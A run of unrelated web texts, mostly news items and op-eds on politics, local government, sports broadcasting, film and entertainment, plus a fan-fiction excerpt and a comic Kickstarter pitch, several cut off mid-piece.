The son of Polish survivors of the Holocaust, Dagan said he had spoken out for fear that Netanyahu was needlessly endangering the Jewish homeland. His dissent over strategy on Iran and the Palestinians was soon echoed by other national security figures.
Two scandals tarnished Dagan’s Mossad legacy, however.
In 2010, Dubai published pictures of an alleged Mossad hit squad that had killed a Hamas armorer in a hotel in the emirate and dressed his death up as a heart attack. The suspects used cloned passports of foreign Jews who had emigrated to Israel.
Also that year, an Australian-born Mossad officer accused of leaking Israeli state secrets committed suicide while in prison.
Dagan had been ill for years, and Netanyahu and Barak helped to arrange a liver transplant for him in Belarus in 2012 after he was denied the operation in Israel because of his age.8 years ago
Washington (CNN) – Three days after her widely-reported gaffe, Rep. Michele Bachmann explained it by essentially saying: I made a mistake, but the media's reporting of it proves bias.
Bachmann made the comments on Tuesday during an interview on the conservative Laura Ingraham radio show.
On Saturday at an engagement in Manchester, Bachmann said of New Hampshire, "You're the state where the shot was heard around the world at Lexington and Concord."
The battles of Lexington and Concord in 1775 were fought in Massachusetts, not New Hampshire.
In Tuesday's radio interview, Bachmann accepted blame for her bungling of a basic historical fact.
"I made a mistake," she said. "I should've said Massachusetts instead of New Hampshire."
The Minnesota Republican was then asked if she was surprised by news reports on the gaffe.
"No, not at all," Bachmann told the interviewer. "We all know that there's a double standard in the media."
Bachmann highlighted moments when President Barack Obama misspoke as a candidate. In one instance, in May 2008, then-Sen. Obama said, "Over the last 15 months, we've traveled to every corner of the United States. I've now been in 57 states? I think one left to go."
Later in the day, Obama told reporters that he misspoke.
Bachmann suggested that helps prove a liberal media bias.
"Of course, that wasn't considered newsworthy," she said of Obama's remarks. "The 3,400 members of the mainstream media are a part of the Obama press contingent."
"So it doesn't matter which conservative is out there, if an error is made, in any way, that is what is stated. They didn't talk about the great crowds, the standing ovations, the wonderful time that we had in New Hampshire. And that is just the way that it goes."Hennepin County expands no smoking zone to all property
Smoker Photo by Pascal Le Segretain/Getty Images
Hennepin County commissioners have made a smoking ban even tougher.
An existing law prohibits smoking within 45 feet of building entrances. But after July 1, smoking anywhere on county property -- even inside private vehicles -- will be prohibited.
Board chair Mike Opat says a blanket ban is easier to enforce than trying to police building entryways.
"If we take away the ashtrays and take away the containers and have appropriate signage, I think the security officers will have a lot less to do," said Opat.
The tobacco-free policy passed on a 6-1 vote. It's tougher than the existing rule, which bans smoking in county buildings and near entrances.
Commissioner Jeff Johnson cast the only "no" vote. Johnson says the measure goes too far.
"There's a point at which government can no longer prevent people from making poor personal decisions. And we're all going to disagree on where that point is," said Johnson. "But I would argue that it's short of banning it in your own car."
Drivers on county roads may still smoke in their cars. Also exempted are psychiatric patients in a designated area of the Hennepin County Medical Center.(Joe Raedle/Getty)
Donald Trump fundamentally misunderstands the American military. He sees it as an instrument of savage brutality, restrained only by political correctness. There is no honor. There is no law. If only the military were free to torture, murder, and blaspheme, then America would win its wars. By believing that American soldiers would follow those orders — or would want to follow those orders — he slanders the character of the American military.
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For months, he has promised that he would order the military to commit war crimes, torturing militants and targeting their families for execution. He was just as emphatic in promising that those orders would be followed.
He was wrong. There is no scenario under which the military would ever follow directives so offensive to its honor and so blatantly illegal. No man I served with in Iraq would comply with an order to intentionally kill an innocent woman or child, and no officer with a shred of decency or honor would give such an order. The Pentagon has many flaws, but truly bad soldiers are few and far between, and the military is institutionally hard-wired to resist exactly this kind of corruption. Trump would instantly sever the relationship between America’s armed forces and their commander-in-chief just by asking them to do such things.
As Lieutenant General James Mattis put it in a 2005 memorandum to the United States Marine Corps, “Marines fight only enemy combatants.” It should go without saying that the same principle applies to soldiers, sailors, and airmen. Our men and women in uniform do not fight innocent civilians and they do not assault prisoners in their custody. Both the War Crimes Act of 1996 and the Uniform Code of Military Justice bind American soldiers to the laws of war, which prohibit such actions.
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RELATED: Culture Rot: Donald Trump Is the Effect, Not the Cause
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Donald Trump promised that American soldiers — at the very least — violate Articles 93, 118, and 128 of the UCMJ. Article 93 prohibits “cruelty and maltreatment,” while Articles 118 and 128 prohibit murder and assault. Moreover, soldiers who actually pull the trigger or who actually beat terrorist detainees aren’t the only ones guilty of a crime. Responsibility runs up and down the chain of command, with each officer or NCO who carried out any aspect of the unlawful order facing legal consequences.
Wholly apart from the law — which, it should be pointed out, mandates the death penalty for the most egregious war crimes — this is a matter of honor. The desire to fight the enemy and protect the innocent is imprinted in the DNA of American service-members from Day One. It’s a matter of basic morality and of human decency intrinsic to the warrior ethos. When I was in Iraq, I knew men who would refuse to fire — even though, under the laws of war, they were free to engage the enemy — if it meant endangering children. Good soldiers have died rather than kill innocents at war.
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#share#What’s more, there can be no comparison between the orders Trump intends to issue and the tragic civilian casualties that happen as a result of our drone war, air strikes, or other combat actions. Those deaths are the unfortunate consequence of targeting enemy combatants, and are the moral and legal responsibility of the terrorists who wear civilian clothes and hide behind human shields. It is morally depraved to suggest otherwise. Look men in the eye who’ve lost friends or bled on the battlefield because of their desire to fight the enemy and the enemy only and call them war criminals. I dare you.
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Under fire, Trump backed down. The day after the Michigan debate, he issued a statement saying that he would not order the military to violate the “laws and treaties” governing armed conflict.
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RELATED: Donald Trump Is Melting Down
Was the crisis averted? Hardly. On Saturday, in Florida, he once again told the mythical story about American general John J. Pershing suppressing a Muslim rebellion in the Philippines by dipping bullets in pig’s blood and executing 49 prisoners, leaving one to tell the story of the massacre. According to Trump, this brutal act suppressed Islamic violence for 25 years. Not only is this story false, historical accounts show that General Pershing was actually more humane than his predecessor, pursuing a counterinsurgency strategy that was more in line with winning over the population than with suppressing it with atrocities.
Then, on Sunday, Trump moved back to the pro-torture position. After proclaiming on CBS’s Face the Nation that he would ask the military to “stay within the laws,” he added that he wanted to “increase the laws because the laws are not working, obviously.” In other words, he’s against torture and murder unless he can make it legal.
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#related#Trump slanders American warriors past and present. It’s as if he sees America’s fighting men and women as a band of suppressed savages, primed to slaughter but held back only by antiquated notions of morality — morality that he calls “political correctness.” While he claims to “love the vets,” he should get to know them, and when he does, he’ll learn that their honor and integrity preclude the savagery he cravenly implores.
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There are vets — American heroes — who support Trump, but I know that those same heroes would emphatically reject the orders a President Trump so desperately wants to give. Trump, a man with no honor, is asking the American people to gift him control of their military, which lives and dies by its warrior ethos. We should say no, resoundingly. He would be a commander-in-chief unworthy of the men he would lead.
— David French is an attorney, a staff writer at National Review, and a veteran of Operation Iraqi Freedom.Steve Busby, a broadcaster for the Texas Rangers and former National League pitcher, gives the commencement address for the Texans Can Academy winter graduation.
Steve Busby, a broadcaster for the Texas Rangers and former National League pitcher, gives the commencement address for the Texans Can Academy winter graduation.
Steve Busby, a broadcaster for the Texas Rangers and former National League pitcher, gives the commencement address for the Texans Can Academy winter graduation.
Longtime Rangers broadcaster Steve Busby is out as the team's television play-by-play voice.
It was the Rangers' call.
"I wasn't given any options," Busby, 67, said in a telephone conversation Friday. He joined the Rangers' broadcast team in 1982. He's been along for much of the ride since.
Dave Raymond, who was a utility broadcaster last season, is expected to become the Rangers' primary television play-by-play voice. He'll be joined by analyst Tom Grieve, who recently has eased up on his workload.
When Grieve took time off in 2016, Busby slid into the analyst seat with Raymond replacing him on play-by-play.
Busby, a former pitcher, did a great job analyzing that part of the game. Sometimes he was hard on the Rangers' staff. Let's hope his old-school grit had nothing to do with his parting.
For their part, the Rangers said they simply were looking to go in a different direction.
"It's been a long run," Busby said. "I'm not sure it hasn't been more than I deserved."
Still, he said he would have liked to broadcast for the Rangers "a while longer."
Other moves on the FSSW broadcasts should be expected. There will be behind-the-scenes production changes. Slightly complicating matters is that voices in the booth work for the Rangers, as does field reporter Emily Jones. Meanwhile, studio voices and Jim Knox, who roams the stands, are employed by FSSW. There is plenty of coordinating to be done.
"Along with the Rangers we are re-evaluating the entire experience," said Steve Simpson, who heads up FSSW.An evil drow-elf is displaced by Hurricane Katrina. A sanitation worker lures friends into a Sphere of Annihilation. A failed supervillain starts a cable access show involving ninjas, puppets, and a cooking segment. These are the characters, real and imagined, of The Dungeon Masters: Against the backdrop of crumbling middle-class America, two men and one woman devote their lives to Dungeons and Dragons, the storied role-playing game, and its various descendants. As their baroque fantasies clash with mundane real lives, the characters find it increasingly difficult to allay their fear, loneliness, and disappointment with the game's imaginary triumphs. Soon the true heroic act of each character's real life emerges, and the film follows each as he or she summons the courage to face it. Along the way, The Dungeon Masters reimagines the tropes of classic heroic cinema, creating an intimate portrait of minor struggles and triumphs writ large. Written by Antidote FilmsMillicent Mary Lillian Martin (born 8 June 1934) is an English actress, singer, and comedian,[1] who was the resident singer of topical songs on the weekly BBC Television satire show That Was The Week That Was (1962-1963). For her work on Broadway, she received Tony Award nominations for Side by Side by Sondheim (1977) and King of Hearts (1978), both for Best Featured Actress in a Musical. Other television roles include her recurring role as Gertrude Moon in the NBC sitcom Frasier (2000–04).
Life and career [ edit ]
Martin was born in Romford, Essex.[2]
Theatre [ edit ]
She made her Broadway debut alongside Julie Andrews in The Boy Friend in 1954. Her additional New York theatre credits include taking over as Dorothy Brock in the original Broadway production of 42nd Street and performing the revue Side by Side by Sondheim with Julia McKenzie and David Kernan, for which she was nominated for the Tony Award for Best Featued Actress in a Musical. She received a second Tony nomination for the musical King of Hearts.
In London, Martin starred with Paul Scofield and James Kenney in Expresso Bongo at the Saville Theatre. In 1959, she had also appeared in The Crooked Mile. Also in West End, she starred opposite Jim Dale in The Card in 1975.
In 1988, Martin joined the London production of the Sondheim musical Follies, starring with Eartha Kitt.
More recently, in 2008, she appeared at the Open Air Theatre, Regent's Park with Topol, Linda Thorson and Lisa O'Hare in the Lerner & Lowe musical, Gigi.
Television [ edit ]
During the early 1960s, Martin became known to British television audiences as the resident singer of topical songs on the original British version of the weekly satire show That Was The Week That Was (1962-1963). One of the songs she sang on the show, the John F. Kennedy tribute "In the Summer of His Years", was released as a single and 'bubbled under' the Billboard Hot 100 chart at No 104 in 1963 (but was outcharted by a cover version by Connie Francis, which reached No 46). She has also released recordings in Swedish, such as the 7" single "Om du nånsin skulle ändra dej".
Martin had her own BBC television series between 1964 and 1966, titled Mainly Millicent for the first two series, and shortened to Millicent for the third and final series. In one episode, Martin and guest star Roger Moore performed a comedy skit in which Moore played secret agent James Bond some years before he was cast in the role. In the mid-1960s she guested, alongside Pete Murray and Kenneth Williams, in an edition of Juke Box Jury.[3]
She appeared with Morecambe and Wise in their series "Two of a Kind" in the 1960s.
In 1969, Sir Lew Grade wanted to make a comedy film series, starring Martin, that would appeal to both American and British audiences. He sent six comedy sketches of Martin to producer Sheldon Leonard, who came up with the premise of From a Bird's Eye View.[4] The series was not a success and was cancelled after 16 episodes had been filmed.
In 1977, on Jubilee Day, she appeared in a gala edition of BBC TV's The Good Old Days to celebrate the Queen's Silver Jubilee, performing in a double act with Julia McKenzie.
Martin appeared as Gladys Moon in 13 episodes of Moon and Son, a 1992 BBC detective series created by Robert Banks Stewart, and co-starring John Michie.
In 2005, she had a small part in the film, Mrs. Palfrey at the Claremont which starred Joan Plowright.[5]
Her later television roles include Gertrude Moon, Daphne Moon's Mancunian mother, in the American sitcom Frasier. She has worked for the Disney Channel, starring in the shows The Suite Life of Zack & Cody, Jonas and in the film Return to Halloweentown. Other performances include guest roles in The Drew Carey Show, Will & Grace, Newhart and Days of Our Lives. She also had a small role on an episode of Gilmore Girls and a key role in an episode of "Modern Family".
In 2011, she guest-starred opposite her former Frasier daughter, Jane Leeves, in the TV Land series Hot in Cleveland. She has also had an appearance in the fourth season of Chuck as the mother of Hartley Winterbottom, who was given the first Intersect prototype and became Alexei Volkoff; she also guest-starred on an episode of the fourth season of Castle as a theatre critic who wrote a harsh review of a performance given by Castle's mother. 2017/19 7 episodes of Grace and Frankie as Joan-Margaret.
Film [ edit ]
In the mid-1960s, Martin appeared in British feature films Nothing But the Best (1964), Those Magnificent Men in their Flying Machines (1965), Stop the World – I Want to Get Off (1966), and Alfie (1966).
Personal life [ edit ]
Martin was married to the pop singer Ronnie Carroll from 1958 until 1965, and subsequently to actor Norman Eshley, but both marriages ended in divorce. She has been married to American Marc Alexander since 1978, and is now a permanent resident of the United States.
Filmography [ edit ]
Film [ edit ]
Television [ edit ]
References [ edit ]"We are all of us children of earth—grant us that simple knowledge. If our brothers are oppressed, then we are oppressed. If they hunger, we hunger. If their freedom is taken away, our freedom is not secure." – Franklin D. Roosevelt United day radio address June 14, 1942
A RWBY Universe Story
The 8th squad
"The Fall Maiden's Weapon"
By
P "Doomtrooper83" t
Part 3
Medicia village
Medicia autonomous zone, border of Vale and Vacuo Kingdom's
0800 hrs
Cobalt stood on the very gate house that just a few hours before they had taken by force, resting in one of then overturned chairs. The rest of the squad was spread out in the small guard shack, either keeping watch or sleeping. They had earned it especially after the short fight for the village, then contending with minor controlled chaos after they took the village.
Sorting out the enemy combatants, taking care of the freed prisoners and dealing with the villages inhabitants. Cobalt had to keep the enemy combatants separated after one almost got lynched by the rightly angry mob of village inhabitants.
Cobalt honestly could not blame them for wanting that, after hearing just a few stories of what these bastards put these people though. They managed to keep the peace until the follow on forces came swooping in to take over. Now a large scale assault was building up, as troops and vehicles landed out in barren fields for the push towards Tirevilla.
The scouting forces jobs was just about done, they would be staying in the liberated villages providing force protection until the operation was over. Cobalt was happy to have the squad put on guard duty, just after all the excitement his hand started to shake a bit. He did his best to hide it as he always did, stuffing it into his jacket as he gave commands to others hoping no one would notice. It had taken longer for the shake to go away this time, rubbing his eyes he slowly stood up grunting.
"Still hurting boss?" Indigo said as she came in from the wall outside, slowly closing a door behind her. Settling in across from Cobalt with her rifle propped up against the wall, finishing out a range card.
"Yea Doc, said I might have cracked a rib nothing to serious. Hell of a way to spend your honeymoon huh?" He said looking down at the dent in his chest armor.
"Yea, the new wife is not too happy with this thankfully she understands. Look at it this way boss you might get a few days off to go spend with your lady friend." Indigo said as Cobalt sigh a bit looking out into the distance a bit.
"We kind of, well broke up. Just where living two different lives, happens in both our professions I guess," Cobalt said trailing off at the end. A few quiet moments passed interrupted by the screaming engines of another Bullhead VTOL as it landed out in the field.
"You're just a bad date is all," Indigo said as Cobalt gave a little short chuckle rolling his shoulders back,
"Always making feel better, glad I got friends like you around." Cobalt said as he wiped some grit from his eyes hearing the beep from his scroll. Indigo just leaned back with a grin as Cobalt tapped on his scroll,
"Nomad one eight this is Nomad actual, I need you in the village central plaza we got some hearts and minds to win over." L.t Sterling Tanner said as Cobalt perked his brow.
"Yes, sir any clue why they want me specifically?" Cobalt said as he went back into the guardhouse slipping his helmet back on.
"It's a local leader, from what the civil affairs unit is telling me they want to speak to you personally. Where having some trouble translating because of their own local dialect is mixed in with three others. Get down there and see if you can get us some local Intel, An accurate map for one would be nice if they have one, Nomad actual out." Tanner when on in a business like fashion.
"Understood sir, Nomad one eight out," Cobalt said as he looked over at Indigo picking up his pack,
"I'm off to go win over the locals with my shining personality, Indigo you're in charge" Indigo just smirked a bit and gave a wave.
"Go get them lady killer," She said with a laugh.
Cobalt was surprised as he walked through the street just hours before it was deserted now it was as if the city suddenly sprang to life. Already several civilians had their homes opened up, |
Cartogram
Each state is represented by a number of circles equal to its electoral votes. Deep blue/red states with white text have been called for Obama/Romney; light blue/red states with black text are projected to go for Obama/Romney.What if the Necronomicon were real? What if we took Aleister Crowley at his word? What kind of story plays out? This is the story of what would happen if H.P. Lovecraft and Aleister Crowley were two sorcerers engaged in a bitter rivalry. Continuing his father's work, Lovecraft is preparing to solve the riddle of the most difficult spell, the Abramelin, and Aleister Crowley will be damned before anyone else performs it. In desperation, Crowley employs the help of two paranormal detectives, Dr. Styx and Diane Rosen. While questioning his intentions, the two decide it is in the world's best interest to stop H.P. Lovecraft at all costs.
H.P. Lovecraft vs Aleister Crowly
My name is Monty Borror, and much like you right now, when I came up with the idea for H.P. Lovecraft vs Aleister Crowley my main thought was, I can't believe this hasn't been a comic yet. I can tell you with absolute certainty it has nearly written itself.
I am the artist on several other graphic novels, my first being Quarantined written by Michael Moreci. To date the book I am most known for is the Cradle of Filth graphic novel The Curse of Venus Aversa written by Kurt Amaker and Dani Filth.
I've split my original stretch goal into two stages. We are currently trending to achieve 2700 on Kickstarter so I decided that at 3000, I will do a smaller compendium, free to everyone who backs at any level. This will be the encyclopedia of the HPLvAC universe. There will be certain references in the story that a casual reader may be unfamiliar. So those items will come together in the pages of the compendium. The plan is for an 18 page, comic format that I would be able to put together myself.
If we make the 5000 dollar level my vision for the compendium will be fully realized. 40-50 pages of art and text by various writers and artists. The level is incredibly high, I admit. But this is ambitious enough to be it's own fundraiser. Again, this will be completely free to all donors at any level.
H.P. Lovecraft vs Aleister Crowley Golum
What I've come up with is a four issue mini series or a graphic novel told in four chapters, each averaging twenty two pages. I have begun the art for the book and thought it may be fun to do a Kickstarter and post my progress of the pages as it goes along.
H.P. Lovecraft vs Aleister Crowley Diane Rosen
Rewards:
First off, a one dollar pledge gets you a PDF of the first book. Simple, clean and easy.
Posters of the cover and T-shirts are provided shipping costs are included (US only)
Also, please take a look at some of the original art up for sale.
H.P. Lovecraft vs Aleister Crowley Dr. Styx
So where is this money going?
Mostly to production costs and meeting the cost of pledge rewards. I am a firm believer in paying those who help. So I will be paying a letterer and designer to finish this off. I refuse to ask them to work for free or "back end" or the worst insult of all, "recognition."
I'm paying a designer for a professional submission packet. As many of you know, this is expensive.
H.P. Lovecraft vs Aleister Crowley demon
More than anything, I feel this is the story I was born to create. My artistic style seems to be a good fit for both the time period and the subject matter. I have been prone to silently smile to myself as I write the script. With your help, instead of waiting around for my dream job to manifest itself, I think I can take a step to make it happen.
H.P. Lovecraft vs Aleister Crowly
Obviously, as more rewards become available (i.e. original pages from the book, new T-shirt/poster designs) I will be updating the site. So please check back and share often.
H.P. Lovecraft vs Aleister Crowley
Page one
H.P. Lovecraft vs Aleister Crowley page 1
Page two
H.P. Lovecraft vs Aleister Crowley page 2
Page 3
HP Lovecraft VS Aleister Crowley page 3
script:
Page 4
HP Lovecraft VS Aleister Crowley page 4
Page 5
HP Lovecraft Versus Aleister Crowley page 5
Page 6
HP Lovecraft Versus Aleister Crowley page 6
Page 7
HP Lovecraft VS Aleister Crowley page 7
The pin-up triptych...
Should this project take off beyond my wildest dreams there are a few things I would like to add to flesh out the world even further. First, if I make it to 5000, I'd like to add a compendium which would be an encyclopedia of characters, demons, spells and various other creatures. To lighten the work load This would be something I'd like to hire various other writers and artists to assist. This book would be free to anyone who chooses to donate at any level. I have in mind some more ambitious additions, but one thing at a time. I'll worry about getting funded before I start dreaming that big.Via the indispensable Leo Byrne:
Two North Korea-linked ships have arrived at two separate coal terminals in Shanghai since Sunday, while one other was departing the area after having left a third facility at a similar time. Satellite imagery shows that each of the terminals is equipped to handle coal. The UN currently restricts member states from importing North Korean coal, while Beijing has said numerous times that it has suspended all imports for the remainder of 2017. “Imagery indicates these sites are primarily used for coal unloading. Some of the larger port areas are multi-use, but the specific berths that the ships were tracked to appear to primarily handle bulk coal,” Scott LaFoy, a Washington-based satellite imagery analyst, told NK Pro. [NK Pro]
As Byrne notes, this isn’t the first time in recent months China has been caught breaking its promise to stop importing North Korean coal this year. In addition to this, in 2016, China imported twice as much coal as permitted under a U.N. import cap. Much of North Korea’s coal trade is controlled by the North Korean military, or its external spy/terrorist/hacker agency, the Reconnaissance General Bureau.
China’s failure to identify the North Korean links to the ships is, at a bare minimum, negligent. For example, one of the ships, the Pu Hung 1, is controlled by Rungrado General Trading Corporation, which deals in various goods and services including slave labor, which had been mentioned in U.N. Panel of Expert reports for proliferation, and which the Treasury Department designated in December.
Byrne links two other ships to one Hiroshi Kasatsugu. You can read about Mr. Kasatsugu’s links to Mirae Shipping, a front for U.N.- and U.S.-designated Ocean Maritime Management Company, in paragraphs 143 through 148 of the 2015 report of the U.N. Panel of Experts.
One of the ships that recently arrived in a Chinese coal terminal, and which is linked to Mr. Kasatsugu, was later sold to a front for none other than Dandong Hongxiang Industrial Development, or DHID. DHID is under indictment in a U.S. federal court in New Jersey for money laundering, conspiracy, and sanctions violations on behalf of North Korea.
China is obligated to expel representatives of U.N.-designated entities, including Ocean Maritime Management, which the U.N. designated in 2014, yet Mr. Kasatsugu apparently continues to operate there. Not that this should surprise us, given how many members of North Korea’s proliferation network operate openly in China.
Brian Moore said it best:
Then I guess the North Korean ships seen docked in China recently were carrying lollipops and kittens. https://t.co/sEDFuHAcwx — Brian R. Moore (@thebrmoore) June 4, 2017
I’ve come to the conclusion that official Chinese trade statistics are to certain journalists and economists what pro wrestling is to certain 10-year-old boys. So for this round, it’s NK News 1, Yonhap -1.
Mark your calendars for July 15th, everyone.THAI Airways International (THAI) is trialling the use of plastic cutlery during in-flight meal services after the airline’s regular stainless steel flatware was used in a mid-flight brawl earlier this month.
Chokchai: Cutlery used as weapons
Chatree Pongsak, director of THAI’s flight operations safety department, said the change had been made out of concern for passenger safety.
He said the stainless steel cutlery could be used as a weapon in a terrorist attack or to commit a crime on board.
The airline’s Company Safety Committee (CSC) is considering phasing out the metallic cutlery on all of the airline’s routes, he added.
The committee agreed to begin by piloting the use of plastic flatware on THAI’s Bangkok-Los Angeles flights.
It the switch proves successful, the airline’s China routes will follow suit.
“Our decision is based on information about possible terrorist acts and the number of in-flight brawls,” Mr Chatree said.
“We want to prevent steel forks or knives from being used in personal attacks.”
It follows an incident earlier this month in which three Chinese tourists engaged in a brawl on board THAI flight TG674 from Bangkok to Beijing. One of the passengers sustained injuries after being attacked with a steel knife and fork.
Cabin crew were forced to intervene to break up the fight.
Meanwhile, THAI’s acting president Chokchai Panyayong said the company’s board will meet today to discuss plans to reduce staff numbers. The meeting will also consider ways of restructuring the airline to enhance its competitiveness.
Mr Chokchai said the company would offer two early retirement packages to encourage staff to accept redundancy.
He expected around 700 of the airline’s 25,000 staff members will join the scheme, which will be launched within the next few months.
“The company restructure will make it operate better,” he said. “Political interference in the company’s affairs and our working culture are a big problem.’’
Mr Chokchai also revealed that THAI was expected to finalise an agreement to procure new Airbus A300-600 planes within the next two months.There are plenty of ideas in Hollywood that never make it to the screen. Some get close. Some are already in production when the plug is pulled. Whether they be good or bad, a lot of movies just never get made. Previously, we took a look at ten movies that never saw the light of day. Some were fairly well-known, Freddy vs. Jason vs. Ash even got its own comic book series based on the film treatment. As always, however, there are plenty of movies out there that never happened. Here are five more horror movies that never happened!
Candyman: The Midnight Meat Train
After the success of Candyman, director Bernard Rose wrote a treatment for a sequel based on another highly regarded Clive Barker story “The Midnight Meat Train.” That story was centered on a serial killer in the New York subway system, butchering the stragglers on the last train every night. Rose’s treatment changed a few things, not the least of which was added the Candyman to the story as its killer. The location was also changed to London and while little else is known about the story, Rose has also said that it was going reveal that the Queen of England was a cannibal. The core concept of putting Candyman into the setting of “Midnight Meat Train” actually works very well, so it’s a shame that the movie never came to light, even though the eventual film adaptation of The Midnight Meat Train was very good. Rose revealed on The Movie Crypt podcast that part of him was hoping nothing came of it because he was setting up his next film Immortal Beloved at the same time.
Despite the success of Scottish director Neill Marshall’s werewolf action movie Dog Soldiers, a planned sequel never saw the light of day. The sequel would have seen the movie’s sole survivor, Cooper, running into a U.S. Special Forces team that were working in the area and came to investigate the explosion at the house. The intention was very much to turn it into an American franchise. There were some other ideas, one being a prequel and one abandoning the werewolf story completely to focus on vampires. If the Marshall-less Descent 2 is anything to go off of, we might be better off with this one never having come to light.
Cannibal Fury
A trade ad from 1983 suggests that Cannibal Fury, Ruggero Deodato’s sequel to his 1980 cult classic Cannibal Holocaust, was expected to begin principal photography on July 15th of that year. Not much is known about the project other than the original title and start date, but Deodato has actually been trying to get the sequel off the ground in some form or another for years. In 2005, he announced that the sequel would be made under the new name Cannibals. For a few years it almost looked like it could happen at any moment, then things got silent once again. There’s been no word on the project for a few years now. But don’t be shocked if Deodato again announces that things are moving on the project. Who knows, maybe next time it will actually happen.
Creepshow 3
Yes, we’re all aware that there is unfortunately a movie out there with the title Creepshow 3. But this was going to be an actual, honest-to-goodness sequel from Laurel Entertainment and with George Romero and Stephen King involved. It was again going to be based on the stories of Stephen King and while there have been rumors, there’s no set word on the stories that would have been adapted for the film had it been made. One interesting thing about this project is that it would have been a mostly animated feature with live-action wraparound segments, making it the total opposite of Creepshow 2.
Flies
Ignoring The Fly II, the third film was going to bring back Geena Davis as Veronica. It would have followed from the end of the first movie, with Veronica giving birth to twin boys. They appear perfectly normal and then at the onset of puberty, their bodies begin to change in drastic fashion. Interestingly enough, this treatment was written by Davis herself. Brooksfilm loved the idea and the movie looked like it was going to go into production pretty quickly. It was a sequel to a successful movie and it had a major star attached. Then it died out almost immediately. Years later, David Cronenberg announced that he himself would be making a sort of spiritual sequel to The Fly under the guise of a remake. That gained a lot of buzz, but the studio was not interested in Cronenberg’s ideas, so nothing came of the project.CLOSE Nashville has taken action to stop bars-on-wheels known as pedal taverns as well as low-speed vehicles that resemble golf carts from operating during peak traffic hours in the morning and early evening. Joey Garrison / The Tennessean
Buy Photo Nashville Pedal Tavern is suing another company, Sprocket Tours, for purportedly using the phrase "pedal tavern" to market it's own four-wheeled party bike company. (Photo: Shelley Mays / File / The Tennessean)Buy Photo
Nashville has taken action to stop bars-on-wheels known as pedal taverns as well as low-speed vehicles that resemble golf carts from operating during peak traffic hours in the morning and early evening.
The move comes as Metro also has taken a timeout from approving additional such vehicles, which have become a common sight on downtown roads amid Nashville’s tourism explosion.
The Metro Transportation Licensing Commission on Thursday voted 5-0 to restrict pedal taverns, pedicabs and other pedal carriages as well as low-speed vehicles from operating between 7 a.m. and 9:30 a.m. and between 4 p.m. and 6:30 p.m.
Nashvillians have frequently complained that pedal taverns and golf-cart-style passenger vehicles have added to traffic congestion downtown, the only area in Nashville where these vehicles are allowed to operate. The commission was granted a new authority to regulate hours of pedal taverns, pedicabs and pedal carriages after approval of a Metro Council ordinance in January.
Metro Transportation Licensing Director Billy Fields said the commission decided to restrict hours to respond to traffic and safety concerns.
“That was the primary reason — making sure that people can move safely and that people don’t try to swerve around them to move in traffic,” Fields said.
The new policy will take effect after the commission's next meeting in November.
Pedal taverns — bicycle-powered vehicles in which passengers consume alcohol as they pedal — have found a huge audience in Nashville after launching here in 2010. They've become a go-to entertainment option for bachelorette and bachelor parties in particular.
A new study commissioned by Metro and conducted by RPM Transportation Consultants found that it takes pedal taverns four times as long to make left turns and travel through intersections than traditional motor vehicles. The average speed of low-speed vehicles is 23 percent to 45 percent lower than motor vehicles.
One recommendation in the study called for capping the number that could operate during peak morning and afternoon hours. But the commission did not adopt that policy.
Brian Gleason, operations manager of Nashville Pedal Tavern, the city's original and largest pedal tavern company, expressed "shock" with the new restrictions. He argued that the commission went beyond what the report recommended by banning pedal taverns during the peak hours as opposed to simply capping them. He said pedal taverns account for less than 2 percent of downtown traffic during affected hours.
Gleason said his company will probably have to pursue layoffs to make up the lost revenue.
"It's going to be a huge hit to our company," Gleason said. "We employ over 30 people in our company alone, and the times they are talking about will affect 41 percent of our business.
"We're a very easy target," he said, adding that his company has welcomed a cap on permits but not the "all-or-nothing" hours of operation rules. "We basically started this industry and didn't really have any issues or backlash until copycat companies came in. It's been a real struggle to keep our reputation and our standards when other companies are out there not doing the same."
The vote does not affect other party vehicles that incorporate alcohol such as Off the Wagon Tours, a party wagon company that uses a large green tractor to take patrons around downtown. According to Fields, the commission does not have power to regulate these and other vehicles that carry more than 14 people such as limousines and sight-seeing tour buses.
Pedal taverns are a booming business in Nashville. That was on display Thursday, when the licensing commission took up and rejected requests for 35 individual new pedal vehicle permits from a total of nine companies, representing pedal tavern concepts and traditional pedicabs. Six of the companies sought to begin business in Nashville, including American Bad Ass Pedal Bar and Nashville Bar Bike.
The licensing commission also rejected 24 requests for low-speed vehicle permits, including permit requests from Joyride Nashville.
Nashville allows 56 pedal vehicles, 19 of which are authorized as pedal taverns across three companies: Nashville Pedal Tavern, Sprocket Rocket and Music City Crawler.
“At this point, there’s so much going on downtown between construction, normal congestion and then what’s already on the street,” Fields said. “I think the commission recognized that putting any additional (pedal and low-speed vehicles) on the street would really be challenging.”
Fields pointed to a new mobility study that Metro is undertaking that will explore the city’s increased traffic activity downtown. He said the commission may consider further restricting which streets pedal taverns can operate on.
Sal Hernandez, a Nashville attorney who serves as chairman of the transportation licensing commission, which also regulates taxis, pointed to the recent traffic study, saying it made clear "these vehicles are having an impact."
"That certainly went into the decision not to grant additional permits, and we went ahead and decided to restrict hours during peak times," he said.
Hernandez said similarly sized cities also have restricted hours and that interim Metro Public Works Director Mark Sturtevant, a recent appointee of Mayor Megan Barry, also had recommended the restricted hours.
"This was not an easy decision," Hernandez said. "We certainly understood the tension between wanting to support our slow-moving vehicle companies but also wanting to address our concerns, which is public safety first and foremost, but also the needs of the community as a whole."
Reach Joey Garrison at 615-259-8236 and on Twitter @joeygarrison.
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Read or Share this story: http://tnne.ws/2eOeGRURecommended: Will the Nicaragua Canal ruin the ‘Galapagos of Central America’?
A Nicaraguan delegation representing nearly 40 civil society organizations and political parties traveled to San José, Costa Rica, this week during the annual meeting of the Community of Latin American and Caribbean States (CELAC) to generate regional support against the construction of a massive interoceanic canal there.
The group of environmentalists and human rights organizers plan to present an open letter to the Costa Rican Foreign Ministry for CELAC leaders that decries a lack of transparency in the project and threats to indigenous land rights and Lake Nicaragua, also known as Lake Cocibolca.
“This should be a great concern not only for Nicaragua but for the whole Central American region,” Suyen Barahona, national director for the Sandinista Renovation Movement, told The Tico Times.
Luisa Molina, director of Coordinadora Civil, a human rights organization, said that Costa Ricans would also be affected by the environmental consequences of the Great Nicaragua Canal on Lake Cocibolca and the two countries’ shared watershed.
On a local level, Molina said the canal would displace tens of thousands of people either from their land or their traditional way of life, from indigenous landholders to artisanal fishermen.
“We want development for Nicaragua but we want the people’s voice to be heard because they were never heard, either in a referendum or a plebiscite,” Octavio Ortega, national coordinator for the Council for the Defense of the Land, Lake and Sovereignty of Nicaragua, told The Tico Times.
